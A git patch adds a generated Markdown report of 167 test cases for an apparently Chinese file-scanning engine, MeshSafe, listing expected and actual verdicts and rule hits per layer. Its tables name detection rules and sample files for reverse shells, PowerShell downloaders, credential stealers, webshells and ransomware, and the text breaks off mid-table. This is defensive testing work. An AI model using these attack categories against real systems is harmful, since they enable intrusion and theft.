From a8f5733bb732fb0bcba31bbc6244be8ba731d80b Mon Sep 17 00:00:00 2001 From: zhaolei <12153398@qq.com> Date: Thu, 29 Oct 2026 16:38:55 +0800 Subject: [PATCH] =?UTF-8?q?docs:=20=E7=94=9F=E6=88=90=20TEST=5FCASES.md=20?= =?UTF-8?q?=E2=80=94=20167=20=E6=9D=A1=E6=B5=8B=E8=AF=95=E7=94=A8=E4=BE=8B?= =?UTF-8?q?=E5=AE=8C=E6=95=B4=E6=B8=85=E5=8D=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 自动扫描 index.json 全部样本 + 引擎实际判定结果 - 按层级分组 (L0-L5/L7/NEG),每组含汇总表 - 逐条展开 description / 文件大小 / 预期 / 实际 verdict / score / 命中规则详情 - 对账口径: 三段式 tier,167/167 全部通过 100% - 生成时间: 2026-10-29,v0.2.2 基准 - 用途: 后期维护备查,新增用例时追加 --- docs/TEST_CASES.md | 2724 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 2724 insertions(+) create mode 100644 docs/TEST_CASES.md diff --git a/docs/TEST_CASES.md b/docs/TEST_CASES.md new file mode 100644 index 0000000..c79a398 --- /dev/null +++ b/docs/TEST_CASES.md @@ -0,0 +1,2724 @@ +# MeshSafe 测试用例清单 + +> 生成时间: 2026-10-29T11:48:22.953397 +> 目标版本: v0.2.2 +> 用例总数: **167** +> 对账结果: **✅ 167 / ❌ 0** (通过率 100.0%) + +--- + +## 汇总 + +| 层级 | 说明 | 用例数 | 通过 | 失败 | +|---|---|---:|---:|---:| +| **L0** | 结构分析(幻数/后缀伪装/嵌套/路径穿越/zip 炸弹) | 27 | 27 | 0 | +| **L1** | ClamAV 病毒库扫描 | 25 | 25 | 0 | +| **L3** | 关键词匹配(恶意行为特征) | 25 | 25 | 0 | +| **L4** | YARA 规则匹配 | 15 | 15 | 0 | +| **L5** | PE 二进制静态分析(壳/导入/节/签名) | 20 | 20 | 0 | +| **L7** | 历史遗留样本(CSV 之外的真实恶意/误报对照) | 35 | 35 | 0 | +| **NEG** | 负样本(业务正常文件,应无告警) | 20 | 20 | 0 | + +**对账口径(三段式 tier)** + +| 预期 tier | verdict | 实际 tier 要求 | +|-----------|---------|---------------| +| tier0 | clean / pass | tier ≤ 1(pass 或 suspicious,不能 reject) | +| tier1 | suspicious / review | tier ≥ 1(suspicious 或 malicious 都算过) | +| tier2 | reject / malicious / error | tier = 2(必须 reject / malicious / error) | + +--- + +## L0 — 结构分析(幻数/后缀伪装/嵌套/路径穿越/zip 炸弹) + +**合计: 27 条,通过 27,失败 0** + +| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 | +|---|---------|------|-----:|------|------|-----:|:----:|---------| +| 1 | **L0-002** | `L0-002_png_normal.png` | 58B | `pass` | `clean` | 0.0 | ✅ | - | +| 2 | **L0-004** | `L0-004_pdf_normal.pdf` | 14B | `pass` | `suspicious` | 20.0 | ✅ | MalformedStructure, PdfParseFailed | +| 3 | **L0-006** | `L0-006_disguise_jpg_pe.jpg` | 104B | `reject` | `reject` | 100.0 | ✅ | ExtensionMismatch, ExtensionMismatch | +| 4 | **L0-007** | `L0-007_disguise_txt_pdf.txt` | 14B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, MalformedStructure | +| 5 | **L0-008** | `L0-008_disguise_png_zip.png` | 54B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, MalformedStructure | +| 6 | **L0-009** | `L0-009_double_ext_pdf_exe.pdf.exe` | 104B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension, PeParseFailed | +| 7 | **L0-010** | `L0-010_double_ext_txt_ps1.txt.ps1` | 10B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension | +| 8 | **L0-011** | `L0-011_double_ext_docx_js.docx.js` | 11B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension | +| 9 | **L0-012** | `L0-012_double_ext_xlsx_bat.xlsx.bat` | 21B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension | +| 10 | **L0-013** | `L0-013_clean.ps1` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 11 | **L0-014** | `L0-014_clean.bat` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 12 | **L0-015** | `L0-015_clean.cmd` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 13 | **L0-016** | `L0-016_clean.vbs` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 14 | **L0-017** | `L0-017_clean.js` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 15 | **L0-018** | `L0-018_zip_traversal.zip` | 137B | `reject` | `malicious` | 100.0 | ✅ | PathTraversal, PathTraversalBlocked | +| 16 | **L0-019** | `L0-019_zip_deep_traversal.zip` | 147B | `reject` | `malicious` | 100.0 | ✅ | PathTraversal, PathTraversalBlocked | +| 17 | **L0-020** | `L0-020_zip_bomb.zip` | 2,553,622B | `reject` | `reject` | 100.0 | ✅ | ArchiveBombSuspect, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked | +| 18 | **L0-021** | `L0-021_small_bomb.zip` | 409,802B | `reject` | `reject` | 100.0 | ✅ | ArchiveBombSuspect, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked | +| 19 | **L0-022** | `L0-022_3layer_nested.zip` | 365B | `pass` | `clean` | 0.0 | ✅ | - | +| 20 | **L0-023** | `L0-023_5layer_nested.zip` | 952B | `pass` | `clean` | 0.0 | ✅ | - | +| 21 | **L0-024** | `L0-024_encrypted.zip` | 144B | `review` | `suspicious` | 20.0 | ✅ | EncryptedArchive, ExtractMemberFailed | +| 22 | **L0-025** | `L0-025_corrupt_zip.zip` | 59B | `review` | `suspicious` | 35.0 | ✅ | MalformedStructure, ArchiveBroken | +| 23 | **L0-026** | `L0-026_corrupt_direntry.zip` | 130B | `review` | `suspicious` | 25.0 | ✅ | MalformedStructure | +| 24 | **L0-027** | `L0-027_long_filename.zip` | 519B | `review` | `suspicious` | 5.0 | ✅ | LongFilename | +| 25 | **L0-028** | `L0-028_unicode_filename.zip` | 285B | `pass` | `clean` | 0.0 | ✅ | - | +| 26 | **L0-029** | `L0-029_zero_byte_exe.exe` | 0B | `review` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 27 | **L0-030** | `L0-030_nested_traversal.zip` | 647B | `reject` | `malicious` | 100.0 | ✅ | PathTraversal, ArchiveContainsExecutable, PathTraversalBlocked, PathTraversalBlocked | + +## L1 — ClamAV 病毒库扫描 + +**合计: 25 条,通过 25,失败 0** + +| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 | +|---|---------|------|-----:|------|------|-----:|:----:|---------| +| 1 | **L1-001** | `L1-001_eicar.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 2 | **L1-002** | `L1-002_eicar_in_zip.zip` | 184B | `reject` | `malicious` | 100.0 | ✅ | Eicar-Test-Signature | +| 3 | **L1-003** | `L1-003_eicar_in_encrypted.zip` | 198B | `review` | `malicious` | 100.0 | ✅ | Eicar-Test-Signature | +| 4 | **L1-004** | `L1-004_eicar_in_docx.docx` | 336B | `reject` | `malicious` | 100.0 | ✅ | Eicar-Test-Signature | +| 5 | **L1-005** | `L1-005_eicar_modified.txt` | 68B | `pass` | `clean` | 0.0 | ✅ | - | +| 6 | **L1-006** | `L0-001_jpg_normal.jpg` | 54B | `pass` | `clean` | 0.0 | ✅ | - | +| 7 | **L1-007** | `L0-003_docx_normal.docx` | 281B | `pass` | `clean` | 0.0 | ✅ | - | +| 8 | **L1-008** | `L0-005_pe_clean.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 9 | **L1-009** | `L1-009_minimal.cvd` | 38B | `review` | `reject` | 100.0 | ✅ | - | +| 10 | **L1-010** | `L1-010_corrupt.cvd` | 30B | `reject` | `reject` | 100.0 | ✅ | - | +| 11 | **L1-011** | `L1-011_eicar_in_3layer.zip` | 412B | `reject` | `malicious` | 100.0 | ✅ | Eicar-Test-Signature | +| 12 | **L1-012** | `L1-012_eicar_base64.txt` | 92B | `pass` | `clean` | 0.0 | ✅ | - | +| 13 | **L1-013** | `L1-013_bigfile_eicar.txt` | 800,070B | `review` | `suspicious` | 35.0 | ✅ | EmbeddedEICAR | +| 14 | **L1-014** | `L1-014_concurrent_test.txt` | 163B | `review` | `suspicious` | 35.0 | ✅ | EmbeddedEICAR | +| 15 | **L1-014-00** | `L1-014_concurrent_eicar_00.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 16 | **L1-014-01** | `L1-014_concurrent_eicar_01.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 17 | **L1-014-02** | `L1-014_concurrent_eicar_02.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 18 | **L1-014-03** | `L1-014_concurrent_eicar_03.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 19 | **L1-014-04** | `L1-014_concurrent_eicar_04.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 20 | **L1-014-05** | `L1-014_concurrent_eicar_05.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 21 | **L1-014-06** | `L1-014_concurrent_eicar_06.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 22 | **L1-014-07** | `L1-014_concurrent_eicar_07.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 23 | **L1-014-08** | `L1-014_concurrent_eicar_08.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 24 | **L1-014-09** | `L1-014_concurrent_eicar_09.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature | +| 25 | **L1-015** | `L1-015_layer_off_sample.bin` | 68B | `review` | `malicious` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, Eicar-Test-Signature, PeParseFailed | + +## L3 — 关键词匹配(恶意行为特征) + +**合计: 25 条,通过 25,失败 0** + +| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 | +|---|---------|------|-----:|------|------|-----:|:----:|---------| +| 1 | **L3-001** | `L3-001_001_sample.ps1` | 77B | `reject` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, SuspiciousScript, RemoteDownloadPowerShell, Test_PowerShell_Download | +| 2 | **L3-002** | `L3-002_002_sample.ps1` | 29B | `reject` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ReverseShellNetcat, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic | +| 3 | **L3-003** | `L3-003_003_sample.bat` | 40B | `reject` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix | +| 4 | **L3-004** | `L3-004_004_sample.txt` | 54B | `reject` | `malicious` | 100.0 | ✅ | CredentialStealer | +| 5 | **L3-005** | `L3-005_005_sample.txt` | 26B | `reject` | `malicious` | 100.0 | ✅ | CredentialExport | +| 6 | **L3-006** | `L3-006_006_sample.txt` | 23B | `review` | `suspicious` | 35.0 | ✅ | RemoteSessionHijack | +| 7 | **L3-007** | `L3-007_007_sample.txt` | 23B | `pass` | `clean` | 0.0 | ✅ | - | +| 8 | **L3-008** | `L3-008_008_sample.ps1` | 39B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 9 | **L3-009** | `L3-009_newline_split.txt` | 54B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell | +| 10 | **L3-010** | `L3-010_010_sample.ps1` | 42B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 11 | **L3-011** | `L3-011_011_sample.js` | 58B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix | +| 12 | **L3-012** | `L3-012_012_sample.bat` | 34B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix | +| 13 | **L3-013** | `L3-013_normal_scp.sh` | 118B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 14 | **L3-014** | `L3-014_l3001_in_zip.zip` | 177B | `review` | `malicious` | 100.0 | ✅ | ArchiveContainsExecutable, RemoteDownloadPowerShell, Test_PowerShell_Download | +| 15 | **L3-015** | `L3-015_keyword_in_docx.docx` | 316B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download | +| 16 | **L3-016** | `L3-016_016_sample.ps1` | 0B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 17 | **L3-017** | `L3-017_017_sample.txt` | 39B | `review` | `malicious` | 100.0 | ✅ | ReverseShellNetcat, CredentialStealer | +| 18 | **L3-018** | `L3-018_018_sample.txt` | 34B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell | +| 19 | **L3-019** | `L3-019_unicode_obfuscated.txt` | 35B | `pass` | `clean` | 0.0 | ✅ | - | +| 20 | **L3-020** | `L3-020_log_with_keyword.log` | 163B | `reject` | `malicious` | 95.0 | ✅ | C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic | +| 21 | **L3-021** | `L3-021_021_sample.eml` | 89B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download | +| 22 | **L3-022** | `L3-022_layer_off_sample.bin` | 57B | `review` | `malicious` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, RemoteDownloadPowerShell, Test_PowerShell_Download, PeParseFailed | +| 23 | **L3-023** | `L3-023_keyword_in_encrypted.zip` | 139B | `review` | `malicious` | 100.0 | ✅ | CredentialStealer | +| 24 | **L3-024** | `L3-024_024_sample.txt` | 100,035B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell | +| 25 | **L3-025** | `L3-025_whitelist_test.txt` | 87B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download | + +## L4 — YARA 规则匹配 + +**合计: 15 条,通过 15,失败 0** + +| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 | +|---|---------|------|-----:|------|------|-----:|:----:|---------| +| 1 | **L4-001** | `L4-001_001_sample.txt` | 85B | `review` | `malicious` | 100.0 | ✅ | ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic | +| 2 | **L4-002** | `L4-002_002_sample.txt` | 42B | `pass` | `clean` | 0.0 | ✅ | - | +| 3 | **L4-003** | `L4-003_pe_with_string.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo | +| 4 | **L4-004** | `L4-004_multi_rule_match.txt` | 128B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic, Test_PowerShell_Download | +| 5 | **L4-005** | `L4-005_005_sample.txt` | 153B | `review` | `suspicious` | 10.0 | ✅ | Newly_Added_Rule_Test | +| 6 | **L4-006** | `L4-006_bad_syntax_rule.yar` | 43B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch | +| 7 | **L4-007** | `L4-007_meta_rule_match.txt` | 21B | `review` | `suspicious` | 10.0 | ✅ | Meta_Label_Test | +| 8 | **L4-008** | `L4-008_in_zip.zip` | 183B | `review` | `malicious` | 100.0 | ✅ | ReverseShellNetcat, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic | +| 9 | **L4-009** | `L4-009_yara_in_encrypted.zip` | 150B | `pass` | `clean` | 0.0 | ✅ | - | +| 10 | **L4-010** | `L4-010_010_sample.txt` | 165B | `review` | `malicious` | 100.0 | ✅ | ReverseShellPowershell, Regex_Shell_Pattern | +| 11 | **L4-011** | `L4-011_count_condition.txt` | 140B | `review` | `suspicious` | 10.0 | ✅ | Count_Condition_Test | +| 12 | **L4-012** | `L4-012_size_condition.bin` | 29B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed | +| 13 | **L4-013** | `L4-013_bigfile_yara.txt` | 2,000,118B | `review` | `malicious` | 100.0 | ✅ | C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_NC, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic | +| 14 | **L4-014** | `L4-014_layer_off_sample.bin` | 21B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed | +| 15 | **L4-015** | `L4-015_hash_whitelist.txt` | 19B | `pass` | `clean` | 0.0 | ✅ | - | + +## L5 — PE 二进制静态分析(壳/导入/节/签名) + +**合计: 20 条,通过 20,失败 0** + +| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 | +|---|---------|------|-----:|------|------|-----:|:----:|---------| +| 1 | **L5-001** | `L5-001_clean_hello.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 2 | **L5-002** | `L5-002_upx_shell.exe` | 926B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected | +| 3 | **L5-003** | `L5-003_double_upx.exe` | 926B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected | +| 4 | **L5-004** | `L5-004_rwx_section.exe` | 926B | `reject` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected | +| 5 | **L5-005** | `L5-005_injection_imports.exe` | 928B | `reject` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo | +| 6 | **L5-006** | `L5-006_single_virtualalloc.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo | +| 7 | **L5-007** | `L5-007_garbage_section.exe` | 926B | `review` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 8 | **L5-008** | `L5-008_many_exports.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo | +| 9 | **L5-009** | `L5-009_shell_in_resource.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo | +| 10 | **L5-010** | `L5-010_bad_mz.exe` | 2,048B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed | +| 11 | **L5-011** | `L5-011_truncated.exe` | 308B | `review` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 12 | **L5-012** | `L5-012_pe32.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 13 | **L5-013** | `L5-013_pe64.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 14 | **L5-014** | `L5-014_clean_tool.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 15 | **L5-015** | `L5-015_bad_reloc.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo | +| 16 | **L5-016** | `L5-016_zero_sections.exe` | 376B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo | +| 17 | **L5-017** | `L5-017_upx_rwx.exe` | 926B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected | +| 18 | **L5-018** | `L5-018_debug_info.exe` | 926B | `review` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 19 | **L5-019** | `L5-019_200mb_huge.exe` | 1,026B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 20 | **L5-020** | `L5-020_layer_off_sample.bin` | 928B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, RWXSectionDetected, PEArchInfo | + +## L7 — 历史遗留样本(CSV 之外的真实恶意/误报对照) + +**合计: 35 条,通过 35,失败 0** + +| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 | +|---|---------|------|-----:|------|------|-----:|:----:|---------| +| 1 | **L7-001** | `broken.zip` | 125B | `clean` | `clean` | 0.0 | ✅ | - | +| 2 | **L7-002** | `evil.iso` | 32,775B | `suspicious` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 3 | **L7-003** | `evil_help.chm` | 1,691B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ChmWithScript, RemoteDownloadUnix | +| 4 | **L7-004** | `linux_malicious` | 71B | `malicious` | `malicious` | 100.0 | ✅ | LinuxExecutable, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic | +| 5 | **L7-005** | `lolbin.cmd` | 114B | `suspicious` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, CommandExecutionObfuscated | +| 6 | **L7-006** | `macro_alert.docm` | 2,586B | `malicious` | `malicious` | 100.0 | ✅ | VBAAutoExecShell, RemoteDownloadPowerShell, RemoteDownloadUnix | +| 7 | **L7-007** | `malicious.desktop` | 114B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, DesktopFileAutoExec, DesktopFileAutoExec, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic | +| 8 | **L7-008** | `malicious.pdf` | 534B | `malicious` | `malicious` | 100.0 | ✅ | PdfOpenAction, PdfJavaScript | +| 9 | **L7-009** | `miner_config.json` | 123B | `suspicious` | `suspicious` | 45.0 | ✅ | C7_Linux_Miner_Generic | +| 10 | **L7-010** | `normal.pdf` | 439B | `clean` | `clean` | 0.0 | ✅ | - | +| 11 | **L7-011** | `normal_deploy.sh` | 155B | `suspicious` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 12 | **L7-012** | `normal_readme.txt` | 162B | `clean` | `clean` | 0.0 | ✅ | - | +| 13 | **L7-013** | `normal_report.docx` | 1,212B | `clean` | `clean` | 0.0 | ✅ | - | +| 14 | **L7-014** | `ole_dropper.doc` | 1,641B | `suspicious` | `suspicious` | 35.0 | ✅ | OleToolsUnavailable, RemoteSessionHijack | +| 15 | **L7-015** | `pe_downloader.exe` | 1,148B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, C1_PE_Downloader_Loader, PeParseFailed | +| 16 | **L7-016** | `pe_injection.exe` | 1,129B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteSessionHijack, C1_PE_ProcessInjection, PeParseFailed | +| 17 | **L7-017** | `persist_cron.sh` | 95B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, ShellScriptDangerous, Txt.Malware.Sustes-6779550-1, RemoteDownloadUnix, C7_Linux_Persistence_Crontab | +| 18 | **L7-018** | `phishing.eml` | 1,869B | `reject` | `reject` | 100.0 | ✅ | EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailAttachmentDangerous, EmailAttachmentDangerous, EmailAttachmentDisguised, EmailAttachmentDangerous, EmailAttachmentWebshell | +| 19 | **L7-019** | `photo.jpg.php` | 29B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension | +| 20 | **L7-020** | `ransom_dropper.exe.txt` | 215B | `reject` | `malicious` | 100.0 | ✅ | C8_Ransomware_Encryption, C8_Ransomware_Note_Filename, C8_Ransomware_VolumeShadow | +| 21 | **L7-021** | `sealed.docx` | 6,656B | `reject` | `reject` | 100.0 | ✅ | MalformedStructure, OfficeEncrypted, OoxmlParseFailed, ArchiveBroken | +| 22 | **L7-022** | `sealed.xlsx` | 6,656B | `reject` | `reject` | 100.0 | ✅ | ExtensionMismatch, MalformedStructure, OfficeEncrypted, OoxmlParseFailed, ArchiveBroken | +| 23 | **L7-023** | `shell_aspx.aspx` | 169B | `reject` | `reject` | 100.0 | ✅ | DangerousExecutableExtension | +| 24 | **L7-024** | `shell_bash_devtcp.sh` | 51B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic | +| 25 | **L7-025** | `shell_jsp_runtime.jsp` | 316B | `reject` | `reject` | 100.0 | ✅ | DangerousExecutableExtension, C3_JSP_Webshell_RuntimeExec | +| 26 | **L7-026** | `shell_nc.sh` | 42B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic | +| 27 | **L7-027** | `shell_php_eval.php` | 40B | `reject` | `reject` | 100.0 | ✅ | DangerousExecutableExtension, C3_PHP_Webshell_Oneliner | +| 28 | **L7-028** | `shell_php_obf.php` | 61B | `reject` | `reject` | 100.0 | ✅ | DangerousExecutableExtension, C3_PHP_Webshell_Obfuscated | +| 29 | **L7-029** | `shell_python.py` | 211B | `suspicious` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 30 | **L7-030** | `shortcut.lnk` | 143B | `suspicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix | +| 31 | **L7-031** | `template_backdoor.docx` | 2,176B | `malicious` | `malicious` | 100.0 | ✅ | AttachedTemplate | +| 32 | **L7-032** | `vba_autoexec.bas` | 98B | `malicious` | `malicious` | 100.0 | ✅ | VBAAutoExecShell, RemoteDownloadUnix | +| 33 | **L7-033** | `wps_macro.js` | 142B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic | +| 34 | **L7-034** | `zip_traversal.zip` | 164B | `malicious` | `malicious` | 100.0 | ✅ | PathTraversal, PathTraversalBlocked | +| 35 | **L7-035** | `neg_tmp1.zip` | 22B | `clean` | `clean` | 0.0 | ✅ | - | + +## NEG — 负样本(业务正常文件,应无告警) + +**合计: 20 条,通过 20,失败 0** + +| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 | +|---|---------|------|-----:|------|------|-----:|:----:|---------| +| 1 | **NEG-001** | `NEG-001_clean.jpg` | 204B | `pass` | `clean` | 0.0 | ✅ | - | +| 2 | **NEG-002** | `NEG-002_clean.png` | 208B | `pass` | `clean` | 0.0 | ✅ | - | +| 3 | **NEG-003** | `NEG-003_clean.mp4` | 212B | `pass` | `clean` | 0.0 | ✅ | - | +| 4 | **NEG-004** | `NEG-004_clean.docx` | 281B | `pass` | `clean` | 0.0 | ✅ | - | +| 5 | **NEG-005** | `NEG-005_clean.xlsx` | 275B | `pass` | `clean` | 0.0 | ✅ | - | +| 6 | **NEG-006** | `NEG-006_clean.pdf` | 14B | `pass` | `suspicious` | 20.0 | ✅ | MalformedStructure, PdfParseFailed | +| 7 | **NEG-007** | `NEG-007_clean.java` | 94B | `pass` | `clean` | 0.0 | ✅ | - | +| 8 | **NEG-008** | 